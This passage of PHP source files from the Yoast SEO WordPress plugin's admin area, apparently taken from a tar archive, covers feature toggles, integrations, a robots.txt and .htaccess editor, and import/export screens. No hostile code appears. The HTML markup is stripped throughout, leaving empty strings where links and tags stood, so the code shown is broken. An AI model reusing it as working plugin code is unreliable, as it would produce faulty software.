( WPSEO_Metabox::is_post_overview( $pagenow ) || WPSEO_Metabox::is_post_edit( $pagenow ) ) { $this->admin_features['primary_category'] = new WPSEO_Primary_Term_Admin(); } $integrations[] = new WPSEO_Yoast_Columns(); $integrations[] = new WPSEO_Statistic_Integration(); $integrations[] = new WPSEO_Capability_Manager_Integration( WPSEO_Capability_Manager_Factory::get() ); $integrations[] = new WPSEO_Admin_Gutenberg_Compatibility_Notification(); $integrations[] = new WPSEO_Expose_Shortlinks(); $integrations[] = new WPSEO_MyYoast_Proxy(); $integrations[] = new WPSEO_Schema_Person_Upgrade_Notification(); $integrations[] = new WPSEO_Tracking( 'https://tracking.yoast.com/stats', ( WEEK_IN_SECONDS * 2 ) ); $integrations[] = new WPSEO_Admin_Settings_Changed_Listener(); $integrations = array_merge( $integrations, $this->get_admin_features(), $this->initialize_cornerstone_content() ); foreach ( $integrations as $integration ) { $integration->register_hooks(); } } /** * Schedules a rewrite flush to happen at shutdown. * * @return void */ public function schedule_rewrite_flush() { if ( WPSEO_Options::get( 'stripcategorybase' ) !== true ) { return; } // Bail if this is a multisite installation and the site has been switched. if ( is_multisite() && ms_is_switched() ) { return; } add_action( 'shutdown', 'flush_rewrite_rules' ); } /** * Returns all the classes for the admin features. * * @return array */ public function get_admin_features() { return $this->admin_features; } /** * Register assets needed on admin pages. * * @return void */ public function enqueue_assets() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form data. $page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; if ( $page === 'wpseo_licenses' ) { $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_style( 'extensions' ); } } /** * Returns the manage_options capability. * * @return string The capability to use. */ public function get_manage_options_cap() { /** * Filter: 'wpseo_manage_options_capability' - Allow changing the capability users need to view the settings pages. * * @param string $capability The capability. */ return apply_filters( 'wpseo_manage_options_capability', 'wpseo_manage_options' ); } /** * Maps the manage_options cap on saving an options page to wpseo_manage_options. * * @return void */ public function map_manage_options_cap() { // phpcs:ignore WordPress.Security -- The variable is only used in strpos and thus safe to not unslash or sanitize. $option_page = ! empty( $_POST['option_page'] ) ? $_POST['option_page'] : ''; if ( strpos( $option_page, 'yoast_wpseo' ) === 0 || strpos( $option_page, Settings_Integration::PAGE ) === 0 ) { add_filter( 'option_page_capability_' . $option_page, [ $this, 'get_manage_options_cap' ] ); } } /** * Adds the ability to choose how many posts are displayed per page * on the bulk edit pages. * * @return void */ public function bulk_edit_options() { $option = 'per_page'; $args = [ 'label' => __( 'Posts', 'wordpress-seo' ), 'default' => 10, 'option' => 'wpseo_posts_per_page', ]; add_screen_option( $option, $args ); } /** * Saves the posts per page limit for bulk edit pages. * * @param int $status Status value to pass through. * @param string $option Option name. * @param int $value Count value to check. * * @return int */ public function save_bulk_edit_options( $status, $option, $value ) { if ( $option && ( $value > 0 && $value < 1000 ) === 'wpseo_posts_per_page' ) { return $value; } return $status; } /** * Adds links to Premium Support and FAQ under the plugin in the plugin overview page. * * @param array $links Array of links for the plugins, adapted when the current plugin is found. * @param string $file The filename for the current plugin, which the filter loops through. * * @return array */ public function add_action_link( $links, $file ) { $first_time_configuration_notice_helper = YoastSEO()->helpers->first_time_configuration_notice; if ( $file === WPSEO_BASENAME && WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) { if ( is_network_admin() ) { $settings_url = network_admin_url( 'admin.php?page=' . self::PAGE_IDENTIFIER ); } else { $settings_url = admin_url( 'admin.php?page=' . self::PAGE_IDENTIFIER ); } $settings_link = '' . __( 'Settings', 'wordpress-seo' ) . ''; array_unshift( $links, $settings_link ); } // Add link to docs. $faq_link = '' . __( 'FAQ', 'wordpress-seo' ) . ''; array_unshift( $links, $faq_link ); if ( $first_time_configuration_notice_helper->first_time_configuration_not_finished() && ! is_network_admin() ) { $configuration_title = ( ! $first_time_configuration_notice_helper->should_show_alternate_message() ) ? 'first-time configuration' : 'SEO configuration'; /* translators: CTA to finish the first time configuration. %s: Either first-time SEO configuration or SEO configuration. */ $message = sprintf( __( 'Finish your %s', 'wordpress-seo' ), $configuration_title ); $ftc_page = 'admin.php?page=wpseo_dashboard#/first-time-configuration'; $ftc_link = '' . $message . ''; array_unshift( $links, $ftc_link ); } $addon_manager = new WPSEO_Addon_Manager(); if ( YoastSEO()->helpers->product->is_premium() ) { // Remove Free 'deactivate' link if Premium is active as well. We don't want users to deactivate Free when Premium is active. unset( $links['deactivate'] ); $no_deactivation_explanation = '' . sprintf( /* translators: %s expands to Yoast SEO Premium. */ __( 'Required by %s', 'wordpress-seo' ), 'Yoast SEO Premium' ) . ''; array_unshift( $links, $no_deactivation_explanation ); if ( $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) { return $links; } // Add link to where premium can be activated. $activation_link = '' . __( 'Activate your subscription', 'wordpress-seo' ) . ''; array_unshift( $links, $activation_link ); return $links; } // Add link to premium landing page. $premium_link = '' . __( 'Get Premium', 'wordpress-seo' ) . ''; array_unshift( $links, $premium_link ); return $links; } /** * Enqueues the (tiny) global JS needed for the plugin. * * @return void */ public function config_page_scripts() { $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_script( 'admin-global' ); $asset_manager->localize_script( 'admin-global', 'wpseoAdminGlobalL10n', $this->localize_admin_global_script() ); } /** * Enqueues the (tiny) global stylesheet needed for the plugin. * * @return void */ public function enqueue_global_style() { $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_style( 'admin-global' ); } /** * Filter the $contactmethods array and add a set of social profiles. * * These are used with the Facebook author, rel="author" and Twitter cards implementation. * * @deprecated 22.6 * @codeCoverageIgnore * * @param array $contactmethods Currently set contactmethods. * * @return array Contactmethods with added contactmethods. */ public function update_contactmethods( $contactmethods ) { _deprecated_function( __METHOD__, 'Yoast SEO 22.6' ); $contactmethods['facebook'] = __( 'Facebook profile URL', 'wordpress-seo' ); $contactmethods['instagram'] = __( 'Instagram profile URL', 'wordpress-seo' ); $contactmethods['linkedin'] = __( 'LinkedIn profile URL', 'wordpress-seo' ); $contactmethods['myspace'] = __( 'MySpace profile URL', 'wordpress-seo' ); $contactmethods['pinterest'] = __( 'Pinterest profile URL', 'wordpress-seo' ); $contactmethods['soundcloud'] = __( 'SoundCloud profile URL', 'wordpress-seo' ); $contactmethods['tumblr'] = __( 'Tumblr profile URL', 'wordpress-seo' ); $contactmethods['twitter'] = __( 'X username (without @)', 'wordpress-seo' ); $contactmethods['youtube'] = __( 'YouTube profile URL', 'wordpress-seo' ); $contactmethods['wikipedia'] = __( 'Wikipedia page about you', 'wordpress-seo' ) . '
    ' . __( '(if one exists)', 'wordpress-seo' ) . ''; return $contactmethods; } /** * Log the updated timestamp for user profiles when theme is changed. * * @return void */ public function switch_theme() { $users = get_users( [ 'capability' => [ 'edit_posts' ] ] ); if ( is_array( $users ) && $users !== [] ) { foreach ( $users as $user ) { update_user_meta( $user->ID, '_yoast_wpseo_profile_updated', time() ); } } } /** * Localization for the dismiss urls. * * @return array */ private function localize_admin_global_script() { return array_merge( [ 'isRtl' => is_rtl(), 'variable_warning' => sprintf( /* translators: %1$s: '%%term_title%%' variable used in titles and meta's template that's not compatible with the given template, %2$s: expands to 'HelpScout beacon' */ __( 'Warning: the variable %1$s cannot be used in this template. See the %2$s for more info.', 'wordpress-seo' ), '%s', 'HelpScout beacon' ), /* translators: %s: expends to Yoast SEO */ 'help_video_iframe_title' => sprintf( __( '%s video tutorial', 'wordpress-seo' ), 'Yoast SEO' ), 'scrollable_table_hint' => __( 'Scroll to see the table content.', 'wordpress-seo' ), 'wincher_is_logged_in' => WPSEO_Options::get( 'wincher_integration_active', true ) ? YoastSEO()->helpers->wincher->login_status() : false, ], YoastSEO()->helpers->wincher->get_admin_global_links() ); } /** * Whether we are on the admin dashboard page. * * @return bool */ protected function on_dashboard_page() { return $GLOBALS['pagenow'] === 'index.php'; } /** * Loads the cornerstone filter. * * @return WPSEO_WordPress_Integration[] The integrations to initialize. */ protected function initialize_cornerstone_content() { if ( ! WPSEO_Options::get( 'enable_cornerstone_content' ) ) { return []; } return [ 'cornerstone_filter' => new WPSEO_Cornerstone_Filter(), ]; } } views/tool-import-export.php000064400000010236147207033440012224 0ustar00import(); } /** * Allow custom import actions. * * @param WPSEO_Import_Status $yoast_seo_import Contains info about the handled import. */ $yoast_seo_import = apply_filters( 'wpseo_handle_import', $yoast_seo_import ); if ( $yoast_seo_import ) { $yoast_seo_message = ''; if ( $yoast_seo_import->status instanceof WPSEO_Import_Status ) { $yoast_seo_message = $yoast_seo_import->status->get_msg(); } /** * Allow customization of import/export message. * * @param string $yoast_seo_msg The message. */ $yoast_seo_msg = apply_filters( 'wpseo_import_message', $yoast_seo_message ); if ( ! empty( $yoast_seo_msg ) ) { $yoast_seo_status = 'error'; if ( $yoast_seo_import->status->status ) { $yoast_seo_status = 'updated'; } $yoast_seo_class = 'message ' . $yoast_seo_status; echo '

    ', esc_html( $yoast_seo_msg ), '

    '; } } $yoast_seo_tabs = [ 'wpseo-import' => [ 'label' => __( 'Import settings', 'wordpress-seo' ), ], 'wpseo-export' => [ 'label' => __( 'Export settings', 'wordpress-seo' ), ], 'import-seo' => [ 'label' => __( 'Import from other SEO plugins', 'wordpress-seo' ), ], ]; ?>

    $tab ) { printf( '
    ', esc_attr( $identifier ) ); require_once WPSEO_PATH . 'admin/views/tabs/tool/' . $identifier . '.php'; echo '
    '; } /** * Allow adding a custom import tab. */ do_action( 'wpseo_import_tab_content' ); views/js-templates-primary-term.php000064400000002526147207033440013461 0ustar00 views/class-yoast-integration-toggles.php000064400000010606147207033440014646 0ustar00toggles === null ) { $this->toggles = $this->load_toggles(); } return $this->toggles; } /** * Loads the available integration toggles. * * Also ensures that the toggles are all Yoast_Feature_Toggle instances and sorted by their order value. * * @return array List of sorted Yoast_Feature_Toggle instances. */ protected function load_toggles() { $integration_toggles = [ (object) [ /* translators: %s: 'Semrush' */ 'name' => sprintf( __( '%s integration', 'wordpress-seo' ), 'Semrush' ), 'setting' => 'semrush_integration_active', 'label' => sprintf( /* translators: %s: 'Semrush' */ __( 'The %s integration offers suggestions and insights for keywords related to the entered focus keyphrase.', 'wordpress-seo' ), 'Semrush' ), 'order' => 10, ], (object) [ /* translators: %s: Algolia. */ 'name' => sprintf( esc_html__( '%s integration', 'wordpress-seo' ), 'Algolia' ), 'premium' => true, 'setting' => 'algolia_integration_active', 'label' => __( 'Improve the quality of your site search! Automatically helps your users find your cornerstone and most important content in your internal search results. It also removes noindexed posts & pages from your site’s search results.', 'wordpress-seo' ), /* translators: %s: Algolia. */ 'read_more_label' => sprintf( __( 'Find out more about our %s integration.', 'wordpress-seo' ), 'Algolia' ), 'read_more_url' => 'https://yoa.st/4eu', 'premium_url' => 'https://yoa.st/4ex', 'premium_upsell_url' => 'https://yoa.st/get-algolia-integration', 'order' => 25, ], ]; /** * Filter to add integration toggles from add-ons. * * @param array $integration_toggles Array with integration toggle objects where each object * should have a `name`, `setting` and `label` property. */ $integration_toggles = apply_filters( 'wpseo_integration_toggles', $integration_toggles ); $integration_toggles = array_map( [ $this, 'ensure_toggle' ], $integration_toggles ); usort( $integration_toggles, [ $this, 'sort_toggles_callback' ] ); return $integration_toggles; } /** * Ensures that the passed value is a Yoast_Feature_Toggle. * * @param Yoast_Feature_Toggle|object|array $toggle_data Feature toggle instance, or raw object or array * containing integration toggle data. * @return Yoast_Feature_Toggle Feature toggle instance based on $toggle_data. */ protected function ensure_toggle( $toggle_data ) { if ( $toggle_data instanceof Yoast_Feature_Toggle ) { return $toggle_data; } if ( is_object( $toggle_data ) ) { $toggle_data = get_object_vars( $toggle_data ); } return new Yoast_Feature_Toggle( $toggle_data ); } /** * Callback for sorting integration toggles by their order. * * {@internal Once the minimum PHP version goes up to PHP 7.0, the logic in the function * can be replaced with the spaceship operator `<=>`.} * * @param Yoast_Feature_Toggle $feature_a Feature A. * @param Yoast_Feature_Toggle $feature_b Feature B. * * @return int An integer less than, equal to, or greater than zero indicating respectively * that feature A is considered to be less than, equal to, or greater than feature B. */ protected function sort_toggles_callback( Yoast_Feature_Toggle $feature_a, Yoast_Feature_Toggle $feature_b ) { return ( $feature_a->order - $feature_b->order ); } } views/paper-collapsible.php000064400000006023147207033440012015 0ustar00
    > %4$s%5$s ', esc_attr( 'collapsible-header ' . $collapsible_header_class ), // phpcs:ignore WordPress.Security.EscapeOutput -- $button_id_attr is escaped above. $button_id_attr, esc_attr( $collapsible_config['expanded'] ), // phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output. $help_text->get_button_html(), esc_html( $title ) . wp_kses_post( $title_after ), wp_kses_post( $collapsible_config['toggle_icon'] ) ); } else { echo '

    ', esc_html( $title ), wp_kses_post( $title_after ), // phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output. $help_text->get_button_html(), '

    '; } } ?> get_panel_html(); $container_id_attr = ''; if ( ! empty( $paper_id ) ) { $container_id_attr = sprintf( ' id="%s"', esc_attr( $paper_id_prefix . $paper_id . '-container' ) ); } printf( '%3$s
    ', // phpcs:ignore WordPress.Security.EscapeOutput -- $container_id_attr is escaped above. $container_id_attr, esc_attr( 'paper-container ' . $collapsible_config['class'] ), $content ); ?> views/tool-bulk-editor.php000064400000006206147207033440011616 0ustar00 $yoast_free_input_fields, 'nonce' => wp_create_nonce( 'bulk-editor-table' ), ]; $wpseo_bulk_titles_table = new WPSEO_Bulk_Title_Editor_List_Table( $yoast_bulk_editor_arguments ); $wpseo_bulk_description_table = new WPSEO_Bulk_Description_List_Table( $yoast_bulk_editor_arguments ); $yoast_free_screen_reader_content = [ 'heading_views' => __( 'Filter posts list', 'wordpress-seo' ), 'heading_pagination' => __( 'Posts list navigation', 'wordpress-seo' ), 'heading_list' => __( 'Posts list', 'wordpress-seo' ), ]; get_current_screen()->set_screen_reader_content( $yoast_free_screen_reader_content ); if ( ! empty( $_REQUEST['_wp_http_referer'] ) && isset( $_SERVER['REQUEST_URI'] ) ) { $request_uri = sanitize_file_name( wp_unslash( $_SERVER['REQUEST_URI'] ) ); wp_redirect( remove_query_arg( [ '_wp_http_referer', '_wpnonce' ], $request_uri ) ); exit; } /** * Renders a bulk editor tab. * * @param WPSEO_Bulk_List_Table $table The table to render. * @param string $id The id for the tab. * * @return void */ function wpseo_get_rendered_tab( $table, $id ) { ?>
    show_page(); ?>


    views/class-yoast-feature-toggle.php000064400000011043147207033440013567 0ustar00 $value ) { if ( property_exists( $this, $key ) ) { $this->$key = $value; } } } /** * Magic isset-er. * * @param string $key Key to check whether a value for it is set. * * @return bool True if set, false otherwise. */ public function __isset( $key ) { return isset( $this->$key ); } /** * Magic getter. * * @param string $key Key to get the value for. * * @return mixed Value for the key, or null if not set. */ public function __get( $key ) { if ( isset( $this->$key ) ) { return $this->$key; } return null; } /** * Checks whether the feature for this toggle is enabled. * * @return bool True if the feature is enabled, false otherwise. */ public function is_enabled() { return (bool) WPSEO_Options::get( $this->setting ); } } views/class-yoast-feature-toggles.php000064400000030470147207033440013757 0ustar00toggles === null ) { $this->toggles = $this->load_toggles(); } return $this->toggles; } /** * Loads the available feature toggles. * * Also ensures that the toggles are all Yoast_Feature_Toggle instances and sorted by their order value. * * @return array List of sorted Yoast_Feature_Toggle instances. */ protected function load_toggles() { $xml_sitemap_extra = false; if ( WPSEO_Options::get( 'enable_xml_sitemap' ) ) { $xml_sitemap_extra = '' . esc_html__( 'See the XML sitemap.', 'wordpress-seo' ) . ''; } $feature_toggles = [ (object) [ 'name' => __( 'SEO analysis', 'wordpress-seo' ), 'setting' => 'keyword_analysis_active', 'label' => __( 'The SEO analysis offers suggestions to improve the SEO of your text.', 'wordpress-seo' ), 'read_more_label' => __( 'Learn how the SEO analysis can help you rank.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/2ak', 'order' => 10, ], (object) [ 'name' => __( 'Readability analysis', 'wordpress-seo' ), 'setting' => 'content_analysis_active', 'label' => __( 'The readability analysis offers suggestions to improve the structure and style of your text.', 'wordpress-seo' ), 'read_more_label' => __( 'Discover why readability is important for SEO.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/2ao', 'order' => 20, ], (object) [ 'name' => __( 'Inclusive language analysis', 'wordpress-seo' ), 'supported_languages' => Language_Helper::$languages_with_inclusive_language_support, 'setting' => 'inclusive_language_analysis_active', 'label' => __( 'The inclusive language analysis offers suggestions to write more inclusive copy.', 'wordpress-seo' ), 'read_more_label' => __( 'Discover why inclusive language is important for SEO.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/inclusive-language-features-free', 'order' => 25, ], (object) [ 'name' => __( 'Cornerstone content', 'wordpress-seo' ), 'setting' => 'enable_cornerstone_content', 'label' => __( 'The cornerstone content feature lets you to mark and filter cornerstone content on your website.', 'wordpress-seo' ), 'read_more_label' => __( 'Find out how cornerstone content can help you improve your site structure.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/dashboard-help-cornerstone', 'order' => 30, ], (object) [ 'name' => __( 'Text link counter', 'wordpress-seo' ), 'setting' => 'enable_text_link_counter', 'label' => __( 'The text link counter helps you improve your site structure.', 'wordpress-seo' ), 'read_more_label' => __( 'Find out how the text link counter can enhance your SEO.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/2aj', 'order' => 40, ], (object) [ 'name' => __( 'Insights', 'wordpress-seo' ), 'setting' => 'enable_metabox_insights', 'label' => __( 'Find relevant data about your content right in the Insights section in the Yoast SEO metabox. You’ll see what words you use most often and if they’re a match with your keywords! ', 'wordpress-seo' ), 'read_more_label' => __( 'Find out how Insights can help you improve your content.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/4ew', 'premium_url' => 'https://yoa.st/2ai', 'order' => 41, ], (object) [ 'name' => __( 'Link suggestions', 'wordpress-seo' ), 'premium' => true, 'setting' => 'enable_link_suggestions', 'label' => __( 'Get relevant internal linking suggestions — while you’re writing! The link suggestions metabox shows a list of posts on your blog with similar content that might be interesting to link to. ', 'wordpress-seo' ), 'read_more_label' => __( 'Read more about how internal linking can improve your site structure.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/4ev', 'premium_url' => 'https://yoa.st/17g', 'premium_upsell_url' => 'https://yoa.st/get-link-suggestions', 'order' => 42, ], (object) [ 'name' => __( 'XML sitemaps', 'wordpress-seo' ), 'setting' => 'enable_xml_sitemap', /* translators: %s: Yoast SEO */ 'label' => sprintf( __( 'Enable the XML sitemaps that %s generates.', 'wordpress-seo' ), 'Yoast SEO' ), 'read_more_label' => __( 'Read why XML Sitemaps are important for your site.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/2a-', 'extra' => $xml_sitemap_extra, 'after' => $this->sitemaps_toggle_after(), 'order' => 60, ], (object) [ 'name' => __( 'Admin bar menu', 'wordpress-seo' ), 'setting' => 'enable_admin_bar_menu', /* translators: 1: Yoast SEO */ 'label' => sprintf( __( 'The %1$s admin bar menu contains useful links to third-party tools for analyzing pages and makes it easy to see if you have new notifications.', 'wordpress-seo' ), 'Yoast SEO' ), 'order' => 80, ], (object) [ 'name' => __( 'Security: no advanced or schema settings for authors', 'wordpress-seo' ), 'setting' => 'disableadvanced_meta', 'label' => sprintf( /* translators: 1: Yoast SEO, 2: translated version of "Off" */ __( 'The advanced section of the %1$s meta box allows a user to remove posts from the search results or change the canonical. The settings in the schema tab allows a user to change schema meta data for a post. These are things you might not want any author to do. That\'s why, by default, only editors and administrators can do this. Setting to "%2$s" allows all users to change these settings.', 'wordpress-seo' ), 'Yoast SEO', __( 'Off', 'wordpress-seo' ) ), 'order' => 90, ], (object) [ 'name' => __( 'Usage tracking', 'wordpress-seo' ), 'label' => __( 'Usage tracking', 'wordpress-seo' ), 'setting' => 'tracking', 'read_more_label' => sprintf( /* translators: 1: Yoast SEO */ __( 'Allow us to track some data about your site to improve our plugin.', 'wordpress-seo' ), 'Yoast SEO' ), 'read_more_url' => 'https://yoa.st/usage-tracking-2', 'order' => 95, ], (object) [ 'name' => __( 'REST API: Head endpoint', 'wordpress-seo' ), 'setting' => 'enable_headless_rest_endpoints', 'label' => sprintf( /* translators: 1: Yoast SEO */ __( 'This %1$s REST API endpoint gives you all the metadata you need for a specific URL. This will make it very easy for headless WordPress sites to use %1$s for all their SEO meta output.', 'wordpress-seo' ), 'Yoast SEO' ), 'order' => 100, ], (object) [ 'name' => __( 'Enhanced Slack sharing', 'wordpress-seo' ), 'setting' => 'enable_enhanced_slack_sharing', 'label' => __( 'This adds an author byline and reading time estimate to the article’s snippet when shared on Slack.', 'wordpress-seo' ), 'read_more_label' => __( 'Find out how a rich snippet can improve visibility and click-through-rate.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/help-slack-share', 'order' => 105, ], (object) [ 'name' => __( 'IndexNow', 'wordpress-seo' ), 'premium' => true, 'setting' => 'enable_index_now', 'label' => __( 'Automatically ping search engines like Bing and Yandex whenever you publish, update or delete a post.', 'wordpress-seo' ), 'read_more_label' => __( 'Find out how IndexNow can help your site.', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/index-now-read-more', 'premium_url' => 'https://yoa.st/index-now-feature', 'premium_upsell_url' => 'https://yoa.st/get-indexnow', 'order' => 110, ], (object) [ 'name' => __( 'AI title & description generator', 'wordpress-seo' ), 'premium' => true, 'setting' => 'enable_ai_generator', 'label' => __( 'Use the power of Yoast AI to automatically generate compelling titles and descriptions for your posts and pages.', 'wordpress-seo' ), 'read_more_label' => __( 'Learn more', 'wordpress-seo' ), 'read_more_url' => 'https://yoa.st/ai-generator-read-more', 'premium_url' => 'https://yoa.st/ai-generator-feature', 'premium_upsell_url' => 'https://yoa.st/get-ai-generator', 'order' => 115, ], ]; /** * Filter to add feature toggles from add-ons. * * @param array $feature_toggles Array with feature toggle objects where each object * should have a `name`, `setting` and `label` property. */ $feature_toggles = apply_filters( 'wpseo_feature_toggles', $feature_toggles ); $feature_toggles = array_map( [ $this, 'ensure_toggle' ], $feature_toggles ); usort( $feature_toggles, [ $this, 'sort_toggles_callback' ] ); return $feature_toggles; } /** * Returns html for a warning that core sitemaps are enabled when yoast seo sitemaps are disabled. * * @return string HTML string for the warning. */ protected function sitemaps_toggle_after() { $out = ''; return $out; } /** * Ensures that the passed value is a Yoast_Feature_Toggle. * * @param Yoast_Feature_Toggle|object|array $toggle_data Feature toggle instance, or raw object or array * containing feature toggle data. * @return Yoast_Feature_Toggle Feature toggle instance based on $toggle_data. */ protected function ensure_toggle( $toggle_data ) { if ( $toggle_data instanceof Yoast_Feature_Toggle ) { return $toggle_data; } if ( is_object( $toggle_data ) ) { $toggle_data = get_object_vars( $toggle_data ); } return new Yoast_Feature_Toggle( $toggle_data ); } /** * Callback for sorting feature toggles by their order. * * {@internal Once the minimum PHP version goes up to PHP 7.0, the logic in the function * can be replaced with the spaceship operator `<=>`.} * * @param Yoast_Feature_Toggle $feature_a Feature A. * @param Yoast_Feature_Toggle $feature_b Feature B. * * @return int An integer less than, equal to, or greater than zero indicating respectively * that feature A is considered to be less than, equal to, or greater than feature B. */ protected function sort_toggles_callback( Yoast_Feature_Toggle $feature_a, Yoast_Feature_Toggle $feature_b ) { return ( $feature_a->order - $feature_b->order ); } } views/tool-file-editor.php000064400000015356147207033440011606 0ustar00admin_header( false, 'wpseo_ms' ); } else { $action_url = admin_url( 'admin.php?page=wpseo_tools&tool=file-editor' ); } if ( isset( $msg ) && ! empty( $msg ) ) { echo '

    ', esc_html( $msg ), '

    '; } // N.B.: "robots.txt" is a fixed file name and should not be translatable. echo '

    robots.txt

    '; if ( ! file_exists( $robots_file ) ) { if ( is_writable( $home_path ) ) { echo '
    '; wp_nonce_field( 'wpseo_create_robots', '_wpnonce', true, true ); echo '

    '; printf( /* translators: %s expands to robots.txt. */ esc_html__( 'You don\'t have a %s file, create one here:', 'wordpress-seo' ), 'robots.txt' ); echo '

    '; printf( '', sprintf( /* translators: %s expands to robots.txt. */ esc_attr__( 'Create %s file', 'wordpress-seo' ), 'robots.txt' ) ); echo '
    '; } else { echo '

    '; printf( /* translators: %s expands to robots.txt. */ esc_html__( 'If you had a %s file and it was editable, you could edit it from here.', 'wordpress-seo' ), 'robots.txt' ); echo '

    '; } } else { $f = fopen( $robots_file, 'r' ); $content = ''; if ( filesize( $robots_file ) > 0 ) { $content = fread( $f, filesize( $robots_file ) ); } if ( ! is_writable( $robots_file ) ) { echo '

    '; printf( /* translators: %s expands to robots.txt. */ esc_html__( 'If your %s were writable, you could edit it from here.', 'wordpress-seo' ), 'robots.txt' ); echo '

    '; echo '
    '; } else { echo '
    '; wp_nonce_field( 'wpseo-robotstxt', '_wpnonce', true, true ); echo ''; echo '
    '; printf( '
    ', sprintf( /* translators: %s expands to robots.txt. */ esc_attr__( 'Save changes to %s', 'wordpress-seo' ), 'robots.txt' ) ); echo '
    '; } } if ( ! WPSEO_Utils::is_nginx() ) { echo '

    '; printf( /* translators: %s expands to ".htaccess". */ esc_html__( '%s file', 'wordpress-seo' ), '.htaccess' ); echo '

    '; if ( file_exists( $ht_access_file ) ) { $f = fopen( $ht_access_file, 'r' ); $contentht = ''; if ( filesize( $ht_access_file ) > 0 ) { $contentht = fread( $f, filesize( $ht_access_file ) ); } if ( ! is_writable( $ht_access_file ) ) { echo '

    '; printf( /* translators: %s expands to ".htaccess". */ esc_html__( 'If your %s were writable, you could edit it from here.', 'wordpress-seo' ), '.htaccess' ); echo '

    '; echo '
    '; } else { echo '
    '; wp_nonce_field( 'wpseo-htaccess', '_wpnonce', true, true ); echo ''; echo '
    '; printf( '
    ', sprintf( /* translators: %s expands to ".htaccess". */ esc_attr__( 'Save changes to %s', 'wordpress-seo' ), '.htaccess' ) ); echo '
    '; } } else { echo '

    '; printf( /* translators: %s expands to ".htaccess". */ esc_html__( 'If you had a %s file and it was editable, you could edit it from here.', 'wordpress-seo' ), '.htaccess' ); echo '

    '; } } if ( is_multisite() ) { $yform->admin_footer( false ); } views/redirects.php000064400000020712147207033440010404 0ustar00 views/tabs/tool/import-seo.php000064400000011144147207033440012423 0ustar00detect(); if ( count( $import_check->needs_import ) === 0 ) { echo '

    ', esc_html__( 'Import from other SEO plugins', 'wordpress-seo' ), '

    '; echo '

    '; printf( /* translators: %s expands to Yoast SEO */ esc_html__( '%s did not detect any plugin data from plugins it can import from.', 'wordpress-seo' ), 'Yoast SEO' ); echo '

    '; return; } /** * Creates a select box given a name and plugins array. * * @param string $name Name field for the select field. * @param array $plugins An array of plugins and classes. * * @return void */ function wpseo_import_external_select( $name, $plugins ) { esc_html_e( 'Plugin: ', 'wordpress-seo' ); echo ''; } ?>

    needs_import ); ?>

    ', '' ); ?>

    needs_import ); ?>
    views/tabs/tool/wpseo-import.php000064400000002672147207033440013000 0ustar00



    views/tabs/tool/wpseo-export.php000064400000002572147207033440013006 0ustar00export(); return; } $wpseo_export_phrase = sprintf( /* translators: %1$s expands to Yoast SEO */ __( 'Export your %1$s settings here, to copy them on another site.', 'wordpress-seo' ), 'Yoast SEO' ); ?>

    views/tabs/network/general.php000064400000004026147207033440012457 0ustar00'; /* * {@internal Important: Make sure the options added to the array here are in line with the * options set in the WPSEO_Option_MS::$allowed_access_options property.}} */ $yform->select( 'access', /* translators: %1$s expands to Yoast SEO */ sprintf( __( 'Who should have access to the %1$s settings', 'wordpress-seo' ), 'Yoast SEO' ), [ 'admin' => __( 'Site Admins (default)', 'wordpress-seo' ), 'superadmin' => __( 'Super Admins only', 'wordpress-seo' ), ] ); if ( get_blog_count() <= 100 ) { $network_admin = new Yoast_Network_Admin(); $yform->select( 'defaultblog', __( 'New sites in the network inherit their SEO settings from this site', 'wordpress-seo' ), $network_admin->get_site_choices( true, true ) ); echo '

    ' . esc_html__( 'Choose the site whose settings you want to use as default for all sites that are added to your network. If you choose \'None\', the normal plugin defaults will be used.', 'wordpress-seo' ) . '

    '; } else { $yform->textinput( 'defaultblog', __( 'New sites in the network inherit their SEO settings from this site', 'wordpress-seo' ) ); echo '

    '; printf( /* translators: 1: link open tag; 2: link close tag. */ esc_html__( 'Enter the %1$sSite ID%2$s for the site whose settings you want to use as default for all sites that are added to your network. Leave empty for none (i.e. the normal plugin defaults will be used).', 'wordpress-seo' ), '', '' ); echo '

    '; } echo '

    ' . esc_html__( 'Take note:', 'wordpress-seo' ) . ' ' . esc_html__( 'Privacy sensitive (FB admins and such), theme specific (title rewrite) and a few very site specific settings will not be imported to new sites.', 'wordpress-seo' ) . '

    '; echo ''; views/tabs/network/integrations.php000064400000006621147207033440013553 0ustar00get_all(); ?>

    label ); if ( ! empty( $integration->extra ) ) { $help_text .= ' ' . $integration->extra; } if ( ! empty( $integration->read_more_label ) ) { $help_text .= ' '; $help_text .= sprintf( '%2$s', esc_url( WPSEO_Shortlinker::get( $integration->read_more_url ) ), esc_html( $integration->read_more_label ) ); } $feature_help = new WPSEO_Admin_Help_Panel( WPSEO_Option::ALLOW_KEY_PREFIX . $integration->setting, /* translators: Hidden accessibility text; %s expands to an integration's name. */ sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $integration->name ) ), $help_text ); $name = $integration->name; if ( ! empty( $integration->premium ) && $integration->premium === true ) { $name .= ' ' . new Premium_Badge_Presenter( $integration->name ); } if ( ! empty( $integration->new ) && $integration->new === true ) { $name .= ' ' . new Badge_Presenter( $integration->name ); } $disabled = $integration->disabled; $show_premium_upsell = false; $premium_upsell_url = ''; if ( $integration->premium === true && YoastSEO()->helpers->product->is_premium() === false ) { $disabled = true; $show_premium_upsell = true; 